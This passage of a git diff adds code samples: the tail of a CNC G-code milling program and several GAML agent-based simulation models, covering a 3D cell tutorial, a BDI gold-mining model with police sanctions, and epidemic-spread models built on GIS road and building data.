+N487 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F45.0
+N488 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F45.0
+N489 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F45.0
+N490 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F45.0
+N491 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F45.0
+N492 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F45.0
+N493 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F45.0
+N494 DO $R44=0
+N495 M15
+N496 G0 Z5.0
+N497 M9
+N498 G90 G0 X-9.4749 Y0.8697
+N499 Z4.0
+N500 M8
+N501 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N502 M13
+N503 DO $R44=1
+N504 G41
+N505 G90 G1 X-8.1381 Y2.0792 Z0.0 F45.0
+N506 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F45.0
+N507 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F45.0
+N508 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F45.0
+N509 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F45.0
+N510 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F45.0
+N511 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F45.0
+N512 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F45.0
+N513 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F45.0
+N514 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F45.0
+N515 G40 G90 G1 X-7.896 Y6.405 Z0.0 F45.0
+N516 DO $R44=0
+N517 M15
+N518 G0 Z5.0
+N519 M9
+N520 G90 G0 X-15.4413 Y2.6078
+N521 Z4.0
+N522 M8
+N523 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N524 M13
+N525 DO $R44=1
+N526 G41
+N527 G90 G1 X-16.5435 Y4.0344 Z0.0 F45.0
+N528 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F45.0
+N529 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F45.0
+N530 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F45.0
+N531 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F45.0
+N532 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F45.0
+N533 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F45.0
+N534 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F45.0
+N535 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F45.0
+N536 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F45.0
+N537 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F45.0
+N538 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F45.0
+N539 DO $R44=0
+N540 M15
+N541 G0 Z5.0
+N542 M9
+N543 M5
+N544 D0
+N545 IF W_BLADE==TRUE
+N546 G00 SUPA Z=0 BZ=0
+N547 ELSE
+N548 G00 SUPA Z=0
+N549 ENDIF
+N550 ; T54 (054) A30 R3 POS 5 CNC 2
+N551 T54 D1
+N552 M6
+N553 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N554 G54 CFIN
+N555 ; OP 8
+N556 G90 G0 X-8.4366 Y-4.8499
+N557 Z5.0
+N558 S2500 M3
+N559 G4 F1.0
+N560 G0 Z4.0
+N561 M8
+N562 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N563 M13
+N564 DO $R44=1
+N565 G41
+N566 G90 G1 X-7.0092 Y-5.5081 Z0.0 F45.0
+N567 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F45.0
+N568 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F45.0
+N569 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F45.0
+N570 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F45.0
+N571 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F45.0
+N572 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F45.0
+N573 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F45.0
+N574 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F45.0
+N575 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F45.0
+N576 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F45.0
+N577 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F45.0
+N578 DO $R44=0
+N579 M15
+N580 G0 Z5.0
+N581 M9
+N582 G90 G0 X-9.4749 Y0.8697
+N583 Z4.0
+N584 M8
+N585 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N586 M13
+N587 DO $R44=1
+N588 G41
+N589 G90 G1 X-8.1381 Y2.0792 Z0.0 F45.0
+N590 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F45.0
+N591 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F45.0
+N592 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F45.0
+N593 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F45.0
+N594 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F45.0
+N595 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F45.0
+N596 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F45.0
+N597 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F45.0
+N598 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F45.0
+N599 G40 G90 G1 X-7.896 Y6.405 Z0.0 F45.0
+N600 DO $R44=0
+N601 M15
+N602 G0 Z5.0
+N603 M9
+N604 G90 G0 X-15.4413 Y2.6078
+N605 Z4.0
+N606 M8
+N607 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N608 M13
+N609 DO $R44=1
+N610 G41
+N611 G90 G1 X-16.5435 Y4.0344 Z0.0 F45.0
+N612 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F45.0
+N613 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F45.0
+N614 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F45.0
+N615 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F45.0
+N616 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F45.0
+N617 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F45.0
+N618 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F45.0
+N619 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F45.0
+N620 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F45.0
+N621 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F45.0
+N622 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F45.0
+N623 DO $R44=0
+N624 M15
+N625 G0 Z5.0
+N626 M9
+N627 M5
+N628 D0
+N629 IF W_BLADE==TRUE
+N630 G00 SUPA Z=0 BZ=0
+N631 ELSE
+N632 G00 SUPA Z=0
+N633 ENDIF
+N634 ; T55 (055) A30 R3 POS 6 CNC 2
+N635 T55 D1
+N636 M6
+N637 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N638 G54 CFIN
+N639 ; OP 9
+N640 G90 G0 X-8.4366 Y-4.8499
+N641 Z5.0
+N642 S2500 M3
+N643 G4 F1.0
+N644 G0 Z4.0
+N645 M8
+N646 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N647 M13
+N648 DO $R44=1
+N649 G41
+N650 G90 G1 X-7.0092 Y-5.5081 Z0.0 F45.0
+N651 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F45.0
+N652 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F45.0
+N653 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F45.0
+N654 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F45.0
+N655 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F45.0
+N656 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F45.0
+N657 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F45.0
+N658 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F45.0
+N659 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F45.0
+N660 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F45.0
+N661 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F45.0
+N662 DO $R44=0
+N663 M15
+N664 G0 Z5.0
+N665 M9
+N666 G90 G0 X-9.4749 Y0.8697
+N667 Z4.0
+N668 M8
+N669 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N670 M13
+N671 DO $R44=1
+N672 G41
+N673 G90 G1 X-8.1381 Y2.0792 Z0.0 F45.0
+N674 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F45.0
+N675 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F45.0
+N676 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F45.0
+N677 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F45.0
+N678 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F45.0
+N679 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F45.0
+N680 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F45.0
+N681 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F45.0
+N682 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F45.0
+N683 G40 G90 G1 X-7.896 Y6.405 Z0.0 F45.0
+N684 DO $R44=0
+N685 M15
+N686 G0 Z5.0
+N687 M9
+N688 G90 G0 X-15.4413 Y2.6078
+N689 Z4.0
+N690 M8
+N691 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N692 M13
+N693 DO $R44=1
+N694 G41
+N695 G90 G1 X-16.5435 Y4.0344 Z0.0 F45.0
+N696 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F45.0
+N697 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F45.0
+N698 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F45.0
+N699 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F45.0
+N700 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F45.0
+N701 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F45.0
+N702 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F45.0
+N703 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F45.0
+N704 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F45.0
+N705 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F45.0
+N706 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F45.0
+N707 DO $R44=0
+N708 M15
+N709 G0 Z5.0
+N710 M9
+N711 M5
+N712 D0
+N713 G53
+N714 IF W_BLADE==TRUE
+N715 G00 SUPA Z=0 BZ=0 C=0
+N716 ELSE
+N717 G00 SUPA Z=0
+N718 ENDIF
+N719 ;MD14512[5] = 1H
+N720 IF $MN_USER_DATA_HEX[5] B_AND 'B00000001'
+N721    PARKMACHINE
+N722 ELSE
+N723    SUPA X=$MA_POS_LIMIT_PLUS[X]-0.1 Y=$MA_POS_LIMIT_PLUS[Y]-0.1
+N724 ENDIF
+N725 M30
\ No newline at end of file
diff --git a/samples/GAML/3dTutorial.gaml b/samples/GAML/3dTutorial.gaml
new file mode 100644
index 0000000000..6090696f72
--- /dev/null
+++ b/samples/GAML/3dTutorial.gaml
@@ -0,0 +1,47 @@
+model Tuto3D
+
+global {
+  int nb_cells <-100;
+  int environmentSize <-100;
+  geometry shape <- cube(environmentSize);  
+  init { 
+    create cells number: nb_cells { 
+      location <- {rnd(environmentSize), rnd(environmentSize), rnd(environmentSize)};       
+    } 
+  }  
+} 
+    
+species cells skills: [moving3D] {  
+    rgb color;
+    list<cells> neighbors;
+    int offset;
+    
+    reflex move {
+      do wander;    
+    }   
+    
+    reflex computeNeighbors {
+      neighbors <- cells select ((each distance_to self) < 10);
+    }
+        
+    aspect default {
+        draw sphere(environmentSize*0.01) color:#orange;
+        loop pp over: neighbors {
+            draw line([self.location,pp.location]);
+        }   
+    }
+}
+
+
+experiment Tuto3D  type: gui {
+  parameter "Initial number of cells: " var: nb_cells min: 1 max: 1000 category: "Cells" ;
+  output {
+    display View1 type:opengl background:rgb(10,40,55){
+      graphics "env"{
+        draw cube(environmentSize) color: #black empty:true;    
+      }
+      species cells;
+    }
+  }  
+}
+
diff --git a/samples/GAML/bdiAgents.gaml b/samples/GAML/bdiAgents.gaml
new file mode 100644
index 0000000000..a3bfa16d7a
--- /dev/null
+++ b/samples/GAML/bdiAgents.gaml
@@ -0,0 +1,302 @@
+model GoldBdi
+
+global {
+    int nb_mines <- 10; 
+    int nbminer<-5;
+    int nb_police <- 1;
+    int fine <-0;
+    market the_market;
+    
+    string mine_at_location <- "mine_at_location";
+    string empty_mine_location <- "empty_mine_location";
+    
+    float step <- 10#mn;
+    
+    //possible predicates concerning miners
+    predicate mine_location <- new_predicate(mine_at_location) ;
+    predicate choose_goldmine <- new_predicate("choose a gold mine");
+    predicate has_gold <- new_predicate("extract gold");
+    predicate find_gold <- new_predicate("find gold") ;
+    predicate sell_gold <- new_predicate("sell gold") ;
+    predicate share_information <- new_predicate("share information") ;
+    
+    
+    emotion joy <- new_emotion("joy");
+    
+    float inequality <- 0.0 update:standard_deviation(miner collect each.gold_sold);
+    
+    geometry shape <- square(20 #km);
+    init
+    {
+        create market {
+            the_market <- self; 
+        }
+        create goldmine number:nb_mines;
+        create miner number:nbminer;
+        create policeman number:nb_police;
+    }
+    
+    reflex end_simulation when: sum(goldmine collect each.quantity) = 0 and empty(miner where each.has_belief(has_gold)){
+        do pause;
+        ask miner{
+            write name + " : " +gold_sold;
+        }
+        write "**********************";
+        write "fine : " + fine;
+    }
+}
+
+species goldmine {
+    int quantity <- rnd(1,20);
+    aspect default
+    {
+        if (quantity = 0) {
+            draw triangle(200) color: #gray border: #black; 
+        } else {
+            draw triangle(200 + quantity*50) color: #yellow border: #black; 
+        }
+     
+    }
+}
+
+species market {
+    int golds;
+    aspect default
+    {
+      draw square(1000) color: #black ;
+    }
+}
+
+species policeman skills: [moving] control:simple_bdi {
+    predicate patroling <- new_predicate("patrolling");
+    float viewdist <- 1000.0;
+    miner agent_perceived <- nil;
+    
+    init {
+        do add_desire(patroling);
+    }
+    
+    perceive target:miner in: viewdist{
+        enforcement law:"working" sanction:"sanctionToLaw";
+        enforcement obligation:has_gold /*when:has_belief(has_gold)*/ sanction: "sanctionToObligation" reward:"rewardToObligation";
+    }
+    
+    sanction sanctionToLaw{
+        ask agent_perceived{
+            thresholdLaw <- 0.0;
+            gold_sold <- gold_sold-5;
+        }
+        fine <- fine +5;
+    }
+    
+    sanction sanctionToObligation {
+        ask agent_perceived{
+            gold_sold <- gold_sold-3;
+            do remove_intention(sell_gold,true);
+            thresholdObligation <- self.thresholdObligation - 0.1;
+        }
+        fine <- fine + 3;
+    }
+    
+    sanction rewardToObligation{
+        ask agent_perceived{
+            gold_sold <- gold_sold+2;
+        }
+        fine <- fine -2;
+    }
+    
+    plan patrol intention: patroling{
+        do wander;
+    }
+    
+    aspect base{
+        draw circle(viewdist) color: #blue depth:0.0;
+    }
+}
+
+species miner skills: [moving] control:simple_bdi {
+    
+    float viewdist<-1000.0;
+    float speed <- 2#km/#h;
+    rgb mycolor<-rnd_color(255);
+    point target;
+    int gold_sold;
+    int gold_transported<-0;
+    agent agent_perceived<-nil;
+    
+    bool use_social_architecture <- true;
+    bool use_emotions_architecture <- true;
+    bool use_personality <- true;
+    
+    float openness <- gauss(0.5,0.12);
+    float conscientiousness <- gauss(0.5,0.12);
+    float extraversion <- gauss(0.5,0.12);
+    float agreeableness <- gauss(0.5,0.12);
+    float neurotism <- gauss(0.5,0.12);
+    
+    float plan_persistence <- 1.0;
+    float intention_persistence <- 1.0;
+    
+    float thresholdLaw <- 1.0;
+    float thresholdObligation <- 1.0;
+    float thresholdNorm <- 0.5;
+    
+    init
+    {
+        do add_desire(find_gold);
+    }
+    
+    perceive target:self{
+        if(gold_transported>0){
+            do add_belief(has_gold);
+        } else {
+            do remove_belief(has_gold);
+        }
+    }
+    
+    perceive target:miner in:viewdist {
+        myself.agent_perceived<-self;
+        socialize liking: point(mycolor.red, mycolor.green, mycolor.blue) distance_to point(myself.mycolor.red, myself.mycolor.green, myself.mycolor.blue) / ( 255) - 1;
+        enforcement norm:"share_information" sanction:"sanctionToNorm" reward:"rewardToNorm";
+    }
+        
+    sanction sanctionToNorm{
+        do change_liking(agent_perceived,-0.1);
+    }   
+    
+    sanction rewardToNorm{
+        do change_liking(agent_perceived,0.1);
+    }
+        
+    perceive target:goldmine where (each.quantity > 0) in:viewdist {
+        focus id:mine_at_location var:location;
+        ask myself {
+            if (has_emotion(joy)) {do add_desire(predicate:share_information, strength: 5.0);}
+            do remove_intention(find_gold, false);
+        }
+    }
+    
+    rule belief: has_gold new_desire: sell_gold strength: 3.0;
+    
+    law working belief: mine_location new_obligation: has_gold when:not has_obligation(has_gold) and not has_belief(has_gold) strength: 2.0 threshold:thresholdLaw;
+    
+    plan letsWander intention:find_gold 
+    {
+        do wander;
+    }
+    
+    norm doingJob obligation:has_gold finished_when: has_belief(has_gold) threshold:thresholdObligation{
+        if (target = nil) {
+            do add_subintention(has_gold,choose_goldmine, true);
+            do current_intention_on_hold();
+        } else {
+            do goto target: target ;
+            if (target = location)  {
+                goldmine current_mine<- goldmine first_with (target = each.location);
+                if current_mine.quantity > 0 {
+                    gold_transported <- gold_transported+1;
+                    do add_belief(has_gold);
+                    ask current_mine {quantity <- quantity - 1;}    
+                } else {
+                    do add_belief(new_predicate(empty_mine_location, ["location_value"::target]));
+                    do remove_belief(new_predicate(mine_at_location, ["location_value"::target]));
+                }
+                target <- nil;
+            }
+        }   
+    }
+    
+    plan getMoreGold intention:has_gold
+    {
+        if (target = nil) {
+            do add_subintention(has_gold,choose_goldmine, true);
+            do current_intention_on_hold();
+        } else {
+            do goto target: target ;
+            if (target = location)  {
+                goldmine current_mine<- goldmine first_with (target = each.location);
+                if current_mine.quantity > 0 {
+                    gold_transported <- 3;
+                    do add_belief(has_gold);
+                    ask current_mine {if(quantity>=3) {
+                        quantity <- quantity - 3;
+                    }else {
+                        quantity <- 0;
+                    } 
+                    }   
+                } else {
+                    do add_belief(new_predicate(empty_mine_location, ["location_value"::target]));
+                    do remove_belief(new_predicate(mine_at_location, ["location_value"::target]));
+                }
+                target <- nil;
+            }
+        }   
+    }
+    
+    plan choose_closest_goldmine intention: choose_goldmine instantaneous: true{
+        list<point> possible_mines <- get_beliefs_with_name(mine_at_location) collect (point(get_predicate(mental_state (each)).values["location_value"]));
+        list<point> empty_mines <- get_beliefs_with_name(empty_mine_location) collect (point(get_predicate(mental_state (each)).values["location_value"]));
+        possible_mines <- possible_mines - empty_mines;
+        if (empty(possible_mines)) {
+            do remove_intention(has_gold, true); 
+        } else {
+            target <- (possible_mines with_min_of (each distance_to self)).location;
+        }
+        do remove_intention(choose_goldmine, true); 
+    }
+    
+    plan return_to_base intention: sell_gold when: has_belief(has_gold){
+        do goto target: the_market ;
+        if (the_market.location = location)  {
+            do remove_belief(has_gold);
+            do remove_intention(sell_gold, true);
+            gold_sold <- gold_sold + gold_transported;
+            gold_transported <- 0;
+        }
+    }
+    
+    norm share_information intention:share_information threshold:thresholdNorm instantaneous: true{
+        list<miner> my_friends <- list<miner>((social_link_base where (each.liking > 0)) collect each.agent);
+        loop known_goldmine over: get_beliefs_with_name(mine_at_location) {
+            ask my_friends {
+                do add_belief(known_goldmine);
+            }
+        }
+        loop known_empty_goldmine over: get_beliefs_with_name(empty_mine_location) {
+            ask my_friends {
+                do add_belief(known_empty_goldmine);
+            }
+        }
+        
+        do remove_intention(share_information, true); 
+    }
+    
+    plan share_information_to_friends intention: share_information instantaneous: true{
+        list<miner> my_friends <- list<miner>((social_link_base where (each.liking > 0)) collect each.agent);
+        loop known_goldmine over: get_beliefs_with_name(empty_mine_location) {
+            ask my_friends {
+                do add_belief(known_goldmine);
+            }
+        }       
+        do remove_intention(share_information, true); 
+    }
+
+    aspect default {
+      draw circle(200) color: mycolor border: #black depth: gold_sold;
+    }
+}
+
+
+experiment GoldBdi type: gui {
+    output {
+        display map type: opengl
+        {
+            species market ;
+            species goldmine ;
+            species miner;
+            species policeman aspect:base;
+        }
+        
+    }
+}
+
diff --git a/samples/GAML/incrementalGIS.gaml b/samples/GAML/incrementalGIS.gaml
new file mode 100644
index 0000000000..c38eb5eb2a
--- /dev/null
+++ b/samples/GAML/incrementalGIS.gaml
@@ -0,0 +1,159 @@
+model model7 
+
+global  {
+    int nb_people <- 500;
+    float step <- 1 #minutes;
+    float infection_distance <- 2.0 #m;
+    float proba_infection <- 0.05;
+    int nb_infected_init <- 5;
+    file roads_shapefile <- file("../includes/road.shp");
+    file buildings_shapefile <- file("../includes/building.shp");
+    geometry shape <- envelope(roads_shapefile);
+    graph road_network;
+    int current_hour update: (cycle / 60) mod 24;
+    float staying_coeff update: 10.0 ^ (1 + min([abs(current_hour - 9), abs(current_hour - 12), abs(current_hour - 18)]));
+    float beta <- 0.01;
+    float h<-0.1;
+    list<people_in_building> list_people_in_buildings update: (building accumulate each.people_inside) where (not dead(each));
+    int nb_people_infected <- nb_infected_init update: people count (each.is_infected) + (empty(list_people_in_buildings) ? 0 : list_people_in_buildings count (each.is_infected));
+    
+    int nb_people_not_infected <- nb_people - nb_infected_init update: nb_people - nb_people_infected;
+    bool is_night <- true update: current_hour < 7 or current_hour > 20;
+    
+    float infected_rate update: nb_people_infected/nb_people;
+    init {
+        create road from: roads_shapefile;
+        road_network <- as_edge_graph(road);
+        create building from: buildings_shapefile;
+        create people number:nb_people {
+            speed <- 5.0 #km/#h;
+            building bd <- one_of(building);
+            location <- any_location_in(bd);
+        }
+        ask nb_infected_init among people {
+            is_infected <- true;
+        }
+        
+    }
+    reflex end_simulation when: infected_rate = 1.0 {       
+        do halt;
+    }
+}
+
+species people skills:[moving]{     
+    bool is_infected <- false;
+    point target;
+    int staying_counter;
+        
+    reflex move when: target != nil{
+        do goto target:target on: road_network;
+        if (location = target) {
+            target <- any_location_in (one_of(building));
+            target <- nil;
+            staying_counter <- 0;
+        } 
+    }
+    reflex infect when: is_infected{
+        ask people at_distance infection_distance {
+            if flip(proba_infection) {
+                is_infected <- true;
+            }
+        }
+    }
+    aspect circle{
+        draw circle(5) color:is_infected ? #red : #green;
+    }
+    aspect sphere3D{
+        draw sphere(3) at: {location.x,location.y,location.z + 3} color:is_infected ? #red : #green;
+    }
+}
+
+species road {
+    geometry display_shape <- shape + 2.0;
+    aspect geom {
+        draw display_shape color: #black depth: 3.0;
+    }
+}
+
+species building {
+    float height <- 10#m + rnd(10) #m;
+    list<people_in_building> people_inside -> {members collect people_in_building(each)};
+    float I;
+    float S;
+    float T;
+    float t;   
+    float I_to1; 
+    
+    aspect geom {
+        int nbI <- members count people_in_building(each).is_infected;
+        int nbT <- length(members);
+        draw shape color:nbT = 0 ? #gray : (float(nbI)/nbT > 0.5 ? #red : #green) depth: height;
+    }
+    
+    species people_in_building parent: people schedules: [] {
+    }
+    
+    reflex let_people_leave  {
+        ask members as: people_in_building{
+            staying_counter <- staying_counter + 1;
+        }
+        list<people_in_building> leaving_people <- list<people_in_building>(members where (flip(people_in_building(each).staying_counter / staying_coeff)));
+        if not (empty (leaving_people)) {
+            release leaving_people as: people in: world returns: released_people;
+            ask released_people {
+                target <- any_location_in (one_of(building));
+            }
+        }
+    }
+    reflex let_people_enter {
+        list<people> entering_people <- people inside self where (each.target = nil);
+        if not (empty (entering_people)) {
+            capture entering_people as: people_in_building ;
+        }
+    }
+    equation SI{ 
+        diff(S,t) = (- beta * S * I / T) ;
+        diff(I,t) = (  beta * S * I / T) ;
+    }
+
+    reflex epidemic when: not empty(members){   
+        T <- float(length(members));
+        list<people_in_building> S_members <- list<people_in_building>(members where not (people_in_building(each).is_infected));
+        S <- float(length(S_members));
+        I <- T-S;
+        float I0 <- I;
+        if (I > 0 and S > 0) {
+            solve SI method: "rk4" step: h;
+            I_to1 <- I_to1 + (I - I0);
+            int I_int <- min([int(S),int(I_to1)]);
+            I_to1 <- I_to1 - I_int;
+            ask(I_int among S_members){
+                is_infected <- true;
+            }
+        }
+    }  
+}
+
+experiment main_experiment type:gui{
+    parameter "Infection distance" var: infection_distance;
+    parameter "Proba infection" var: proba_infection min: 0.0 max: 1.0;
+    parameter "Nb people infected at init" var: nb_infected_init ;
+    output {
+        monitor "Current hour" value: current_hour;
+        monitor "Infected people rate" value: infected_rate;
+        display map_3D type: opengl {
+            light 1 color:(is_night ? 50 : 255);
+            image "../includes/soil.jpg";
+            species road aspect:geom;
+            species people aspect:sphere3D;         
+            species building aspect:geom transparency: 0.5;
+        }
+        display chart refresh:every(10) {
+            chart "Disease spreading" type: series {
+                data "susceptible" value: nb_people_not_infected color: #green;
+                data "infected" value: nb_people_infected color: #red;
+            }
+        }
+    }
+}
+
diff --git a/samples/GAML/luneraysFlu.gaml b/samples/GAML/luneraysFlu.gaml
new file mode 100644
index 0000000000..25b86f87eb
--- /dev/null
+++ b/samples/GAML/luneraysFlu.gaml
@@ -0,0 +1,116 @@
+model model4
+
+global {
+    int nb_people <- 2147;
+    int nb_infected_init <- 5;
+    float step <- 5 #mn;
+    file roads_shapefile <- file("../includes/roads.shp");
+    file buildings_shapefile <- file("../includes/buildings.shp");
+    geometry shape <- envelope(roads_shapefile);    
+    graph road_network;
+    
+    
+    int nb_people_infected <- nb_infected_init update: people count (each.is_infected);
+    int nb_people_not_infected <- nb_people - nb_infected_init update: nb_people - nb_people_infected;
+    float infected_rate update: nb_people_infected/nb_people;
+    
+    
+    init{
+        create road from: roads_shapefile;
+        road_network <- as_edge_graph(road);        
+        create building from: buildings_shapefile;
+        create people number:nb_people {
+            location <- any_location_in(one_of(building));              
+        }
+        ask nb_infected_init among people {
+            is_infected <- true;
+        }
+    }
+}
+
+species people skills:[moving]{     
+    float speed <- (2 + rnd(3)) #km/#h;
+    bool is_infected <- false;
+    point target;
+    
+    reflex stay when: target = nil {
+        if flip(0.05) {
+            target <- any_location_in (one_of(building));
+        }
+    }
+        
+    reflex move when: target != nil{
+        do goto target:target on: road_network;
+        if (location = target) {
+            target <- nil;
+        } 
+    }
+
+    reflex infect when: is_infected{
+        ask people at_distance 10 #m {
+            if flip(0.05) {
+                is_infected <- true;
+            }
+        }
+    }
+    
+    aspect circle {
+        draw circle(10) color:is_infected ? #red : #green;
+    }
+    
+    aspect geom3D {
+        if target != nil {
+            draw obj_file("../includes/people.obj", 90::{-1,0,0}) size: 5
+            at: location + {0,0,7} rotate: heading - 90 color: is_infected ? #red : #green;
+        }
+    }
+    
+}
+
+species road {
+    aspect geom {
+        draw shape color: #black;
+    }
+    aspect geom3D {
+        draw line(shape.points, 2.0) color: #black;
+    }
+}
+
+species building {
+    aspect geom {
+        draw shape color: #gray;
+    }
+    aspect geom3D {
+        draw shape depth: 20 #m border: #black texture:["../includes/roof_top.png","../includes/texture.jpg"];
+    }
+}
+
+experiment main type: gui {
+    parameter "Nb people infected at init" var: nb_infected_init min: 1 max: 2147;
+
+    output {
+        monitor "Infected people rate" value: infected_rate;
+        
+        display map {
+            species road aspect:geom;
+            species building aspect:geom;
+            species people aspect:circle;           
+        }
+        
+        
+        
+        display chart_display refresh: every(10 #cycle) {
+            chart "Disease spreading" type: series {
+                data "susceptible" value: nb_people_not_infected color: #green;
+                data "infected" value: nb_people_infected color: #red;
+            }
+        }
+        display view3D type: opengl ambient_light: 80 {
+            image "../includes/luneray.png" refresh:false; 
+            species building aspect:geom3D refresh: false;
+            species road aspect: geom3D refresh: false;
+            species people aspect: geom3D ; 
+        }
+    }
+}
+
diff --git a/samples/GAML/predatorPrey.gaml b/samples/GAML/predatorPrey.gaml
new file mode 100644
index 0000000000..59da1f9d9b
--- /dev/null
+++ b/samples/GAML/predatorPrey.gaml
@@ -0,0 +1,205 @@
+model prey_predator
+
+global {
